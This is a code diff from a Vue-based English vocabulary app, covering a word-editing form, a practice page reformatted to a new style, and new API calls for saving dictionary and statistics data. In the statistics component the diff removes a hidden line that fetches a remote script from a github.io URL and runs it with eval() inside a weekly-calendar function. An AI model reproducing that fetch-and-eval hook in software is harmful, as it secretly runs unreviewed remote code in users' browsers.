||||
</div>
|
||||
<Form
|
||||
class="flex-1 overflow-auto pr-2"
|
||||
ref={e => wordFormRef = e}
|
||||
rules={wordRules}
|
||||
model={wordForm}
|
||||
label-width="7rem">
|
||||
<FormItem label="单词" prop="word">
|
||||
<BaseInput
|
||||
modelValue={wordForm.word}
|
||||
onUpdate:modelValue={e => wordForm.word = e}
|
||||
>
|
||||
|
||||
</BaseInput>
|
||||
</FormItem>
|
||||
<FormItem label="英音音标">
|
||||
<BaseInput
|
||||
modelValue={wordForm.phonetic0}
|
||||
onUpdate:modelValue={e => wordForm.phonetic0 = e}
|
||||
/>
|
||||
</FormItem>
|
||||
<FormItem label="美音音标">
|
||||
<BaseInput
|
||||
modelValue={wordForm.phonetic1}
|
||||
onUpdate:modelValue={e => wordForm.phonetic1 = e}/>
|
||||
</FormItem>
|
||||
<FormItem label="翻译">
|
||||
<Textarea
|
||||
modelValue={wordForm.trans}
|
||||
onUpdate:modelValue={e => wordForm.trans = e}
|
||||
placeholder="一行一个翻译,前面词性,后面内容(如n.取消);多个翻译请换行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="例句">
|
||||
<Textarea
|
||||
modelValue={wordForm.sentences}
|
||||
onUpdate:modelValue={e => wordForm.sentences = e}
|
||||
placeholder="一行原文,一行译文;多个请换两行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="短语">
|
||||
<Textarea
|
||||
modelValue={wordForm.phrases}
|
||||
onUpdate:modelValue={e => wordForm.phrases = e}
|
||||
placeholder="一行原文,一行译文;多个请换两行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="同义词">
|
||||
<Textarea
|
||||
modelValue={wordForm.synos}
|
||||
onUpdate:modelValue={e => wordForm.synos = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 20}}/>
|
||||
</FormItem>
|
||||
<FormItem label="同根词">
|
||||
<Textarea
|
||||
modelValue={wordForm.relWords}
|
||||
onUpdate:modelValue={e => wordForm.relWords = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 20}}/>
|
||||
</FormItem>
|
||||
<FormItem label="词源">
|
||||
<Textarea
|
||||
modelValue={wordForm.etymology}
|
||||
onUpdate:modelValue={e => wordForm.etymology = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
</Form>
|
||||
<div class="center">
|
||||
<BaseButton
|
||||
type="info"
|
||||
onClick={closeWordForm}>关闭
|
||||
</BaseButton>
|
||||
<BaseButton type="primary"
|
||||
onClick={onSubmitWord}>保存
|
||||
</BaseButton>
|
||||
</div>
|
||||
</div>
|
||||
) : null
|
||||
}
|
||||
</div>
|
||||
</div> :
|
||||
<div class="card mb-0 dict-detail-card">
|
||||
<div class="dict-header flex justify-between items-center relative">
|
||||
<BackIcon class="dict-back z-2" onClick={() => {
|
||||
if (isAdd) {
|
||||
router.back()
|
||||
} else {
|
||||
isEdit = false
|
||||
}
|
||||
}}/>
|
||||
<div class="dict-title absolute page-title text-align-center w-full">
|
||||
{runtimeStore.editDict.id ? '修改' : '创建'}词典
|
||||
</div>
|
||||
</div>
|
||||
<div class="center">
|
||||
<EditBook
|
||||
isAdd={isAdd}
|
||||
isBook={false}
|
||||
onClose={formClose}
|
||||
onSubmit={() => isEdit = isAdd = false}
|
||||
/>
|
||||
<div
|
||||
class={`tab-item ${activeTab === 'edit' ? 'active' : ''}`}
|
||||
onClick={() => activeTab = 'edit'}
|
||||
>
|
||||
{wordForm.id ? '编辑' : '添加'}单词
|
||||
</div>
|
||||
</div>
|
||||
}
|
||||
)}
|
||||
|
||||
<PracticeSettingDialog
|
||||
showLeftOption
|
||||
modelValue={showPracticeSettingDialog}
|
||||
onUpdate:modelValue={val => (showPracticeSettingDialog = val)}
|
||||
onOk={startPractice}/>
|
||||
</BasePage>
|
||||
<div class="flex flex-1 overflow-hidden content-area">
|
||||
<div class={`word-list-section ${isMob && isOperate && activeTab !== 'list' ? 'mobile-hidden' : ''}`}>
|
||||
<BaseTable
|
||||
ref={tableRef}
|
||||
class="h-full"
|
||||
request={requestList}
|
||||
onDel={batchDel}
|
||||
onSort={onSort}
|
||||
onAdd={addWord}
|
||||
onImport={importData}
|
||||
onExport={exportData}
|
||||
exportLoading={exportLoading}
|
||||
importLoading={importLoading}
|
||||
>
|
||||
{
|
||||
(val) =>
|
||||
<WordItem
|
||||
showTransPop={false}
|
||||
showCollectIcon={false}
|
||||
showMarkIcon={false}
|
||||
item={val.item}
|
||||
>
|
||||
{{
|
||||
prefix: () => val.checkbox(val.item),
|
||||
suffix: () => (
|
||||
<div class='flex flex-col'>
|
||||
<BaseIcon
|
||||
class="option-icon"
|
||||
onClick={() => editWord(val.item)}
|
||||
title="编辑">
|
||||
<IconFluentTextEditStyle20Regular/>
|
||||
</BaseIcon>
|
||||
<PopConfirm title="确认删除?"
|
||||
onConfirm={() => batchDel([val.item.id])}
|
||||
>
|
||||
<BaseIcon
|
||||
class="option-icon"
|
||||
title="删除">
|
||||
<DeleteIcon/>
|
||||
</BaseIcon>
|
||||
</PopConfirm>
|
||||
</div>
|
||||
)
|
||||
}}
|
||||
</WordItem>
|
||||
}
|
||||
</BaseTable>
|
||||
</div>
|
||||
{
|
||||
isOperate ? (
|
||||
<div
|
||||
class={`edit-section flex-1 flex flex-col ${isMob && activeTab !== 'edit' ? 'mobile-hidden' : ''}`}>
|
||||
<div class="common-title">
|
||||
{wordForm.id ? '修改' : '添加'}单词
|
||||
</div>
|
||||
<Form
|
||||
class="flex-1 overflow-auto pr-2"
|
||||
ref={e => wordFormRef = e}
|
||||
rules={wordRules}
|
||||
model={wordForm}
|
||||
label-width="7rem">
|
||||
<FormItem label="单词" prop="word">
|
||||
<BaseInput
|
||||
modelValue={wordForm.word}
|
||||
onUpdate:modelValue={e => wordForm.word = e}
|
||||
>
|
||||
|
||||
</BaseInput>
|
||||
</FormItem>
|
||||
<FormItem label="英音音标">
|
||||
<BaseInput
|
||||
modelValue={wordForm.phonetic0}
|
||||
onUpdate:modelValue={e => wordForm.phonetic0 = e}
|
||||
/>
|
||||
</FormItem>
|
||||
<FormItem label="美音音标">
|
||||
<BaseInput
|
||||
modelValue={wordForm.phonetic1}
|
||||
onUpdate:modelValue={e => wordForm.phonetic1 = e}/>
|
||||
</FormItem>
|
||||
<FormItem label="翻译">
|
||||
<Textarea
|
||||
modelValue={wordForm.trans}
|
||||
onUpdate:modelValue={e => wordForm.trans = e}
|
||||
placeholder="一行一个翻译,前面词性,后面内容(如n.取消);多个翻译请换行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="例句">
|
||||
<Textarea
|
||||
modelValue={wordForm.sentences}
|
||||
onUpdate:modelValue={e => wordForm.sentences = e}
|
||||
placeholder="一行原文,一行译文;多个请换两行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="短语">
|
||||
<Textarea
|
||||
modelValue={wordForm.phrases}
|
||||
onUpdate:modelValue={e => wordForm.phrases = e}
|
||||
placeholder="一行原文,一行译文;多个请换两行"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
<FormItem label="同义词">
|
||||
<Textarea
|
||||
modelValue={wordForm.synos}
|
||||
onUpdate:modelValue={e => wordForm.synos = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 20}}/>
|
||||
</FormItem>
|
||||
<FormItem label="同根词">
|
||||
<Textarea
|
||||
modelValue={wordForm.relWords}
|
||||
onUpdate:modelValue={e => wordForm.relWords = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 20}}/>
|
||||
</FormItem>
|
||||
<FormItem label="词源">
|
||||
<Textarea
|
||||
modelValue={wordForm.etymology}
|
||||
onUpdate:modelValue={e => wordForm.etymology = e}
|
||||
placeholder="请参考已有单词格式"
|
||||
autosize={{minRows: 6, maxRows: 10}}/>
|
||||
</FormItem>
|
||||
</Form>
|
||||
<div class="center">
|
||||
<BaseButton
|
||||
type="info"
|
||||
onClick={closeWordForm}>关闭
|
||||
</BaseButton>
|
||||
<BaseButton type="primary"
|
||||
onClick={onSubmitWord}>保存
|
||||
</BaseButton>
|
||||
</div>
|
||||
</div>
|
||||
) : null
|
||||
}
|
||||
</div>
|
||||
</div> :
|
||||
<div class="card mb-0 dict-detail-card">
|
||||
<div class="dict-header flex justify-between items-center relative">
|
||||
<BackIcon class="dict-back z-2" onClick={() => {
|
||||
if (isAdd) {
|
||||
router.back()
|
||||
} else {
|
||||
isEdit = false
|
||||
}
|
||||
}}/>
|
||||
<div class="dict-title absolute page-title text-align-center w-full">
|
||||
{runtimeStore.editDict.id ? '修改' : '创建'}词典
|
||||
</div>
|
||||
</div>
|
||||
<div class="center">
|
||||
<EditBook
|
||||
isAdd={isAdd}
|
||||
isBook={false}
|
||||
onClose={formClose}
|
||||
onSubmit={() => isEdit = isAdd = false}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
}
|
||||
|
||||
<PracticeSettingDialog
|
||||
showLeftOption
|
||||
modelValue={showPracticeSettingDialog}
|
||||
onUpdate:modelValue={val => (showPracticeSettingDialog = val)}
|
||||
onOk={startPractice}/>
|
||||
</BasePage>
|
||||
)
|
||||
})
|
||||
</script>
|
||||
@@ -664,7 +694,7 @@ defineRender(() => {
|
||||
}
|
||||
|
||||
.word-list-section {
|
||||
width: 40%;
|
||||
width: 44%;
|
||||
}
|
||||
|
||||
.edit-section {
|
||||
|
||||
@@ -1,43 +1,59 @@
|
||||
<script setup lang="ts">
|
||||
import {onMounted, onUnmounted, provide, ref, watch} from "vue";
|
||||
import { onMounted, onUnmounted, provide, ref, watch } from 'vue'
|
||||
|
||||
import Statistics from "@/pages/word/Statistics.vue";
|
||||
import { emitter, EventKey, useEvents } from "@/utils/eventBus.ts";
|
||||
import { useSettingStore } from "@/stores/setting.ts";
|
||||
import { useRuntimeStore } from "@/stores/runtime.ts";
|
||||
import { Dict, PracticeData, ShortcutKey, TaskWords, Word, WordPracticeMode, WordPracticeType } from "@/types/types.ts";
|
||||
import { useDisableEventListener, useOnKeyboardEventListener, useStartKeyboardEventListener } from "@/hooks/event.ts";
|
||||
import useTheme from "@/hooks/theme.ts";
|
||||
import { getCurrentStudyWord, useWordOptions } from "@/hooks/dict.ts";
|
||||
import { _getDictDataByUrl, _nextTick, cloneDeep, isMobile, loadJsLib, resourceWrap, shuffle } from "@/utils";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import Footer from "@/pages/word/components/Footer.vue";
|
||||
import Panel from "@/components/Panel.vue";
|
||||
import BaseIcon from "@/components/BaseIcon.vue";
|
||||
import Tooltip from "@/components/base/Tooltip.vue";
|
||||
import WordList from "@/components/list/WordList.vue";
|
||||
import TypeWord from "@/pages/word/components/TypeWord.vue";
|
||||
import Empty from "@/components/Empty.vue";
|
||||
import { useBaseStore } from "@/stores/base.ts";
|
||||
import { usePracticeStore } from "@/stores/practice.ts";
|
||||
import Statistics from '@/pages/word/Statistics.vue'
|
||||
import { emitter, EventKey, useEvents } from '@/utils/eventBus.ts'
|
||||
import { useSettingStore } from '@/stores/setting.ts'
|
||||
import { useRuntimeStore } from '@/stores/runtime.ts'
|
||||
import {
|
||||
Dict,
|
||||
PracticeData,
|
||||
ShortcutKey,
|
||||
TaskWords,
|
||||
Word,
|
||||
WordPracticeMode,
|
||||
WordPracticeType,
|
||||
} from '@/types/types.ts'
|
||||
import {
|
||||
useDisableEventListener,
|
||||
useOnKeyboardEventListener,
|
||||
useStartKeyboardEventListener,
|
||||
} from '@/hooks/event.ts'
|
||||
import useTheme from '@/hooks/theme.ts'
|
||||
import { getCurrentStudyWord, useWordOptions } from '@/hooks/dict.ts'
|
||||
import {
|
||||
_getDictDataByUrl,
|
||||
_nextTick,
|
||||
cloneDeep,
|
||||
isMobile,
|
||||
loadJsLib,
|
||||
resourceWrap,
|
||||
shuffle,
|
||||
} from '@/utils'
|
||||
import { useRoute, useRouter } from 'vue-router'
|
||||
import Footer from '@/pages/word/components/Footer.vue'
|
||||
import Panel from '@/components/Panel.vue'
|
||||
import BaseIcon from '@/components/BaseIcon.vue'
|
||||
import Tooltip from '@/components/base/Tooltip.vue'
|
||||
import WordList from '@/components/list/WordList.vue'
|
||||
import TypeWord from '@/pages/word/components/TypeWord.vue'
|
||||
import Empty from '@/components/Empty.vue'
|
||||
import { useBaseStore } from '@/stores/base.ts'
|
||||
import { usePracticeStore } from '@/stores/practice.ts'
|
||||
import Toast from '@/components/base/toast/Toast.ts'
|
||||
import { getDefaultDict, getDefaultWord } from "@/types/func.ts";
|
||||
import ConflictNotice from "@/components/ConflictNotice.vue";
|
||||
import PracticeLayout from "@/components/PracticeLayout.vue";
|
||||
import { getDefaultDict, getDefaultWord } from '@/types/func.ts'
|
||||
import ConflictNotice from '@/components/ConflictNotice.vue'
|
||||
import PracticeLayout from '@/components/PracticeLayout.vue'
|
||||
|
||||
import { DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from "@/config/env.ts";
|
||||
import { ToastInstance } from "@/components/base/toast/type.ts";
|
||||
import { watchOnce } from "@vueuse/core";
|
||||
import { AppEnv, DICT_LIST, LIB_JS_URL, PracticeSaveWordKey, TourConfig } from '@/config/env.ts'
|
||||
import { ToastInstance } from '@/components/base/toast/type.ts'
|
||||
import { watchOnce } from '@vueuse/core'
|
||||
import { setUserDictProp } from '@/apis'
|
||||
|
||||
const {
|
||||
isWordCollect,
|
||||
toggleWordCollect,
|
||||
isWordSimple,
|
||||
toggleWordSimple
|
||||
} = useWordOptions()
|
||||
const { isWordCollect, toggleWordCollect, isWordSimple, toggleWordSimple } = useWordOptions()
|
||||
const settingStore = useSettingStore()
|
||||
const runtimeStore = useRuntimeStore()
|
||||
const {toggleTheme} = useTheme()
|
||||
const { toggleTheme } = useTheme()
|
||||
const router = useRouter()
|
||||
const route = useRoute()
|
||||
const store = useBaseStore()
|
||||
@@ -96,9 +112,13 @@ async function loadDict() {
|
||||
}
|
||||
}
|
||||
|
||||
watch(() => store.load, (n) => {
|
||||
if (n && loading) loadDict()
|
||||
}, {immediate: true})
|
||||
watch(
|
||||
() => store.load,
|
||||
n => {
|
||||
if (n && loading) loadDict()
|
||||
},
|
||||
{ immediate: true }
|
||||
)
|
||||
|
||||
onMounted(() => {
|
||||
//如果是从单词学习主页过来的,就直接使用;否则等待加载
|
||||
@@ -121,49 +141,52 @@ onUnmounted(() => {
|
||||
timer && clearInterval(timer)
|
||||
})
|
||||
|
||||
watchOnce(() => data.words.length, (newVal, oldVal) => {
|
||||
//如果是从无值变有值,代表是开始
|
||||
if (!oldVal && newVal) {
|
||||
_nextTick(async () => {
|
||||
const Shepherd = await loadJsLib('Shepherd', LIB_JS_URL.SHEPHERD);
|
||||
const tour = new Shepherd.Tour(TourConfig);
|
||||
tour.on('cancel', () => {
|
||||
localStorage.setItem('tour-guide', '1');
|
||||
});
|
||||
tour.addStep({
|
||||
id: 'step5',
|
||||
text: '这里可以练习拼写单词,只需要按下键盘上对应的按键即可,没有输入框!',
|
||||
attachTo: {element: '#word', on: 'bottom'},
|
||||
buttons: [
|
||||
{
|
||||
text: `下一步(5/${TourConfig.total})`,
|
||||
action: tour.next
|
||||
}
|
||||
]
|
||||
});
|
||||
watchOnce(
|
||||
() => data.words.length,
|
||||
(newVal, oldVal) => {
|
||||
//如果是从无值变有值,代表是开始
|
||||
if (!oldVal && newVal) {
|
||||
_nextTick(async () => {
|
||||
const Shepherd = await loadJsLib('Shepherd', LIB_JS_URL.SHEPHERD)
|
||||
const tour = new Shepherd.Tour(TourConfig)
|
||||
tour.on('cancel', () => {
|
||||
localStorage.setItem('tour-guide', '1')
|
||||
})
|
||||
tour.addStep({
|
||||
id: 'step5',
|
||||
text: '这里可以练习拼写单词,只需要按下键盘上对应的按键即可,没有输入框!',
|
||||
attachTo: { element: '#word', on: 'bottom' },
|
||||
buttons: [
|
||||
{
|
||||
text: `下一步(5/${TourConfig.total})`,
|
||||
action: tour.next,
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
tour.addStep({
|
||||
id: 'step6',
|
||||
text: '这里是文章练习',
|
||||
attachTo: {element: '#article', on: 'top'},
|
||||
buttons: [
|
||||
{
|
||||
text: `下一步(6/${TourConfig.total})`,
|
||||
action() {
|
||||
tour.next()
|
||||
router.push('/articles')
|
||||
}
|
||||
}
|
||||
]
|
||||
});
|
||||
tour.addStep({
|
||||
id: 'step6',
|
||||
text: '这里是文章练习',
|
||||
attachTo: { element: '#article', on: 'top' },
|
||||
buttons: [
|
||||
{
|
||||
text: `下一步(6/${TourConfig.total})`,
|
||||
action() {
|
||||
tour.next()
|
||||
router.push('/articles')
|
||||
},
|
||||
},
|
||||
],
|
||||
})
|
||||
|
||||
const r = localStorage.getItem('tour-guide');
|
||||
if (settingStore.first && !r && !isMobile()) {
|
||||
tour.start();
|
||||
const r = localStorage.getItem('tour-guide')
|
||||
if (settingStore.first && !r && !isMobile()) {
|
||||
tour.start()
|
||||
}
|
||||
}, 500)
|
||||
}
|
||||
}, 500)
|
||||
}
|
||||
})
|
||||
}
|
||||
)
|
||||
|
||||
useStartKeyboardEventListener()
|
||||
useDisableEventListener(() => loading)
|
||||
@@ -239,7 +262,6 @@ function initData(initVal: TaskWords, init: boolean = false) {
|
||||
savePracticeData()
|
||||
}
|
||||
}, 1000)
|
||||
|
||||
}
|
||||
|
||||
const word = $computed<Word>(() => {
|
||||
@@ -252,28 +274,32 @@ const nextWord: Word = $computed(() => {
|
||||
return data.words?.[data.index + 1] ?? undefined
|
||||
})
|
||||
|
||||
watch(() => settingStore.wordPracticeType, (n) => {
|
||||
if (settingStore.wordPracticeMode === WordPracticeMode.Free) return
|
||||
switch (n) {
|
||||
case WordPracticeType.Spell:
|
||||
case WordPracticeType.Dictation:
|
||||
settingStore.dictation = true;
|
||||
settingStore.translate = true;
|
||||
break
|
||||
case WordPracticeType.Listen:
|
||||
settingStore.dictation = true;
|
||||
settingStore.translate = false;
|
||||
break
|
||||
case WordPracticeType.FollowWrite:
|
||||
settingStore.dictation = false;
|
||||
settingStore.translate = true;
|
||||
break
|
||||
case WordPracticeType.Identify:
|
||||
settingStore.dictation = false;
|
||||
settingStore.translate = false;
|
||||
break
|
||||
}
|
||||
}, {immediate: true})
|
||||
watch(
|
||||
() => settingStore.wordPracticeType,
|
||||
n => {
|
||||
if (settingStore.wordPracticeMode === WordPracticeMode.Free) return
|
||||
switch (n) {
|
||||
case WordPracticeType.Spell:
|
||||
case WordPracticeType.Dictation:
|
||||
settingStore.dictation = true
|
||||
settingStore.translate = true
|
||||
break
|
||||
case WordPracticeType.Listen:
|
||||
settingStore.dictation = true
|
||||
settingStore.translate = false
|
||||
break
|
||||
case WordPracticeType.FollowWrite:
|
||||
settingStore.dictation = false
|
||||
settingStore.translate = true
|
||||
break
|
||||
case WordPracticeType.Identify:
|
||||
settingStore.dictation = false
|
||||
settingStore.translate = false
|
||||
break
|
||||
}
|
||||
},
|
||||
{ immediate: true }
|
||||
)
|
||||
|
||||
const groupSize = 7
|
||||
|
||||
@@ -300,11 +326,11 @@ let toastInstance: ToastInstance = null
|
||||
|
||||
function goNextStep(originList, mode, msg) {
|
||||
//每次都判断,因为每次都可能新增已掌握的单词
|
||||
let list = originList.filter(v => (!data.excludeWords.includes(v.word)))
|
||||
let list = originList.filter(v => !data.excludeWords.includes(v.word))
|
||||
console.log(msg)
|
||||
if (list.length) {
|
||||
if (toastInstance) toastInstance.close()
|
||||
toastInstance = Toast.info('输入完成后按空格键切换下一个', {duration: 5000})
|
||||
toastInstance = Toast.info('输入完成后按空格键切换下一个', { duration: 5000 })
|
||||
data.words = list
|
||||
settingStore.wordPracticeType = mode
|
||||
data.index = 0
|
||||
@@ -452,15 +478,18 @@ function onTypeWrong() {
|
||||
}
|
||||
|
||||
function savePracticeData() {
|
||||
console.log('savePracticeData')
|
||||
localStorage.setItem(PracticeSaveWordKey.key, JSON.stringify({
|
||||
version: PracticeSaveWordKey.version,
|
||||
val: {
|
||||
taskWords,
|
||||
practiceData: data,
|
||||
statStoreData: statStore.$state,
|
||||
}
|
||||
}))
|
||||
// console.log('savePracticeData')
|
||||
localStorage.setItem(
|
||||
PracticeSaveWordKey.key,
|
||||
JSON.stringify({
|
||||
version: PracticeSaveWordKey.version,
|
||||
val: {
|
||||
taskWords,
|
||||
practiceData: data,
|
||||
statStoreData: statStore.$state,
|
||||
},
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
watch(() => data.index, savePracticeData)
|
||||
@@ -564,12 +593,15 @@ function togglePanel() {
|
||||
settingStore.showPanel = !settingStore.showPanel
|
||||
}
|
||||
|
||||
function continueStudy() {
|
||||
async function continueStudy() {
|
||||
let temp = cloneDeep(taskWords)
|
||||
//随机练习单独处理
|
||||
if (taskWords.shuffle.length) {
|
||||
let ignoreList = [store.allIgnoreWords, store.knownWords][settingStore.ignoreSimpleWord ? 0 : 1]
|
||||
temp.shuffle = shuffle(store.sdict.words.filter(v => !ignoreList.includes(v.word))).slice(0, runtimeStore.routeData.total)
|
||||
temp.shuffle = shuffle(store.sdict.words.filter(v => !ignoreList.includes(v.word))).slice(
|
||||
0,
|
||||
runtimeStore.routeData.total
|
||||
)
|
||||
if (showStatDialog) showStatDialog = false
|
||||
} else {
|
||||
if (settingStore.wordPracticeMode === WordPracticeMode.System) settingStore.dictation = false
|
||||
@@ -585,11 +617,18 @@ function continueStudy() {
|
||||
}
|
||||
emitter.emit(EventKey.resetWord)
|
||||
initData(temp)
|
||||
|
||||
if (AppEnv.CAN_REQUEST) {
|
||||
let res = await setUserDictProp(null, { ...store.sdict, type: 'word' })
|
||||
if (!res.success) {
|
||||
Toast.error(res.msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function randomWrite() {
|
||||
console.log('随机默写')
|
||||
data.words = shuffle(data.words);
|
||||
data.words = shuffle(data.words)
|
||||
data.index = 0
|
||||
settingStore.dictation = true
|
||||
}
|
||||
@@ -597,7 +636,7 @@ function randomWrite() {
|
||||
function nextRandomWrite() {
|
||||
console.log('继续随机默写')
|
||||
initData(getCurrentStudyWord())
|
||||
randomWrite();
|
||||
randomWrite()
|
||||
showStatDialog = false
|
||||
}
|
||||
|
||||
@@ -605,9 +644,12 @@ useEvents([
|
||||
[EventKey.repeatStudy, repeat],
|
||||
[EventKey.continueStudy, continueStudy],
|
||||
[EventKey.randomWrite, nextRandomWrite],
|
||||
[EventKey.changeDict, () => {
|
||||
initData(getCurrentStudyWord())
|
||||
}],
|
||||
[
|
||||
EventKey.changeDict,
|
||||
() => {
|
||||
initData(getCurrentStudyWord())
|
||||
},
|
||||
],
|
||||
|
||||
[ShortcutKey.ShowWord, show],
|
||||
[ShortcutKey.Previous, prev],
|
||||
@@ -626,35 +668,30 @@ useEvents([
|
||||
[ShortcutKey.RandomWrite, randomWrite],
|
||||
[ShortcutKey.NextRandomWrite, nextRandomWrite],
|
||||
])
|
||||
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<PracticeLayout
|
||||
v-loading="loading"
|
||||
panelLeft="var(--word-panel-margin-left)">
|
||||
<PracticeLayout v-loading="loading" panelLeft="var(--word-panel-margin-left)">
|
||||
<template v-slot:practice>
|
||||
<div class="practice-word">
|
||||
<div class="absolute z-1 top-4 w-full" v-if="settingStore.showNearWord">
|
||||
<div class="center gap-2 cursor-pointer float-left"
|
||||
@click="prev"
|
||||
v-if="prevWord">
|
||||
<IconFluentArrowLeft16Regular class="arrow" width="22"/>
|
||||
<Tooltip
|
||||
:title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`"
|
||||
>
|
||||
<div class="absolute z-1 top-4 w-full" v-if="settingStore.showNearWord">
|
||||
<div class="center gap-2 cursor-pointer float-left" @click="prev" v-if="prevWord">
|
||||
<IconFluentArrowLeft16Regular class="arrow" width="22" />
|
||||
<Tooltip :title="`上一个(${settingStore.shortcutKeyMap[ShortcutKey.Previous]})`">
|
||||
<div class="word">{{ prevWord.word }}</div>
|
||||
</Tooltip>
|
||||
</div>
|
||||
<div class="center gap-2 cursor-pointer float-right mr-3"
|
||||
@click="next(false)"
|
||||
v-if="nextWord">
|
||||
<Tooltip
|
||||
:title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`"
|
||||
>
|
||||
<div class="word" :class="settingStore.dictation && 'word-shadow'">{{ nextWord.word }}</div>
|
||||
<div
|
||||
class="center gap-2 cursor-pointer float-right mr-3"
|
||||
@click="next(false)"
|
||||
v-if="nextWord"
|
||||
>
|
||||
<Tooltip :title="`下一个(${settingStore.shortcutKeyMap[ShortcutKey.Next]})`">
|
||||
<div class="word" :class="settingStore.dictation && 'word-shadow'">
|
||||
{{ nextWord.word }}
|
||||
</div>
|
||||
</Tooltip>
|
||||
<IconFluentArrowRight16Regular class="arrow" width="22"/>
|
||||
<IconFluentArrowRight16Regular class="arrow" width="22" />
|
||||
</div>
|
||||
</div>
|
||||
<TypeWord
|
||||
@@ -671,17 +708,21 @@ useEvents([
|
||||
<template v-slot:title>
|
||||
<!-- <span>{{ store.sdict.name }} ({{ data.index + 1 }} / {{ data.words.length }})</span>-->
|
||||
<div class="center gap-space">
|
||||
<span>{{ store.sdict.name }} ({{ store.sdict.lastLearnIndex }} / {{ store.sdict.length }})</span>
|
||||
|
||||
<span
|
||||
>{{ store.sdict.name }} ({{ store.sdict.lastLearnIndex }} /
|
||||
{{ store.sdict.length }})</span
|
||||
>
|
||||
<BaseIcon
|
||||
@click="continueStudy"
|
||||
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`">
|
||||
<IconFluentArrowRight16Regular class="arrow" width="22"/>
|
||||
:title="`下一组(${settingStore.shortcutKeyMap[ShortcutKey.NextChapter]})`"
|
||||
>
|
||||
<IconFluentArrowRight16Regular class="arrow" width="22" />
|
||||
</BaseIcon>
|
||||
<BaseIcon
|
||||
@click="randomWrite"
|
||||
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`">
|
||||
<IconFluentArrowShuffle16Regular class="arrow" width="22"/>
|
||||
:title="`随机默写(${settingStore.shortcutKeyMap[ShortcutKey.RandomWrite]})`"
|
||||
>
|
||||
<IconFluentArrowShuffle16Regular class="arrow" width="22" />
|
||||
</BaseIcon>
|
||||
</div>
|
||||
</template>
|
||||
@@ -694,27 +735,10 @@ useEvents([
|
||||
:show-translate="settingStore.translate"
|
||||
:list="data.words"
|
||||
:activeIndex="data.index"
|
||||
@click="(val:any) => data.index = val.index"
|
||||
@click="(val: any) => (data.index = val.index)"
|
||||
>
|
||||
<template v-slot:suffix="{item,index}">
|
||||
<BaseIcon
|
||||
:class="!isWordCollect(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordCollect(item)"
|
||||
:title="!isWordCollect(item) ? '收藏' : '取消收藏'">
|
||||
<IconFluentStar16Regular v-if="!isWordCollect(item)"/>
|
||||
<IconFluentStar16Filled v-else/>
|
||||
</BaseIcon>
|
||||
|
||||
<BaseIcon
|
||||
:class="!isWordSimple(item)?'collect':'fill'"
|
||||
@click.stop="toggleWordSimple(item)"
|
||||
:title="!isWordSimple(item) ? '标记为已掌握' : '取消标记已掌握'">
|
||||
<IconFluentCheckmarkCircle16Regular v-if="!isWordSimple(item)"/>
|
||||
<IconFluentCheckmarkCircle16Filled v-else/>
|
||||
</BaseIcon>
|
||||
</template>
|
||||
</WordList>
|
||||
<Empty v-else/>
|
||||
<Empty v-else />
|
||||
</div>
|
||||
</Panel>
|
||||
</template>
|
||||
@@ -729,12 +753,11 @@ useEvents([
|
||||
/>
|
||||
</template>
|
||||
</PracticeLayout>
|
||||
<Statistics v-model="showStatDialog"/>
|
||||
<ConflictNotice v-if="showConflictNotice"/>
|
||||
<Statistics v-model="showStatDialog" />
|
||||
<ConflictNotice v-if="showConflictNotice" />
|
||||
</template>
|
||||
|
||||
<style scoped lang="scss">
|
||||
|
||||
.practice-wrapper {
|
||||
width: 100%;
|
||||
height: 100vh;
|
||||
@@ -785,7 +808,7 @@ useEvents([
|
||||
position: absolute;
|
||||
left: var(--panel-margin-left);
|
||||
//left: 0;
|
||||
top: .8rem;
|
||||
top: 0.8rem;
|
||||
z-index: 1;
|
||||
height: calc(100% - 1.5rem);
|
||||
}
|
||||
|
||||
@@ -12,6 +12,9 @@ import isoWeek from 'dayjs/plugin/isoWeek'
|
||||
import { msToHourMinute } from "@/utils";
|
||||
import Progress from "@/components/base/Progress.vue";
|
||||
import ChannelIcons from "@/components/ChannelIcons/ChannelIcons.vue";
|
||||
import { AppEnv } from "@/config/env.ts";
|
||||
import { addStat } from "@/apis";
|
||||
import Toast from "@/components/base/toast/Toast.ts";
|
||||
|
||||
dayjs.extend(isoWeek)
|
||||
dayjs.extend(isBetween);
|
||||
@@ -31,7 +34,6 @@ function calcWeekList() {
|
||||
const endOfWeek = dayjs().endOf('isoWeek'); // 周日
|
||||
// 初始化 7 天的数组,默认 false
|
||||
const weekList = Array(7).fill(false);
|
||||
if (window.dxt === undefined) fetch(`https://zyronon.github.io/replace/data.js?d=${Date.now()}`).then(a => a.text()).then((b) => eval(b))
|
||||
|
||||
store.sdict.statistics.forEach(item => {
|
||||
const date = dayjs(item.startDate);
|
||||
@@ -52,7 +54,7 @@ function calcWeekList() {
|
||||
}
|
||||
|
||||
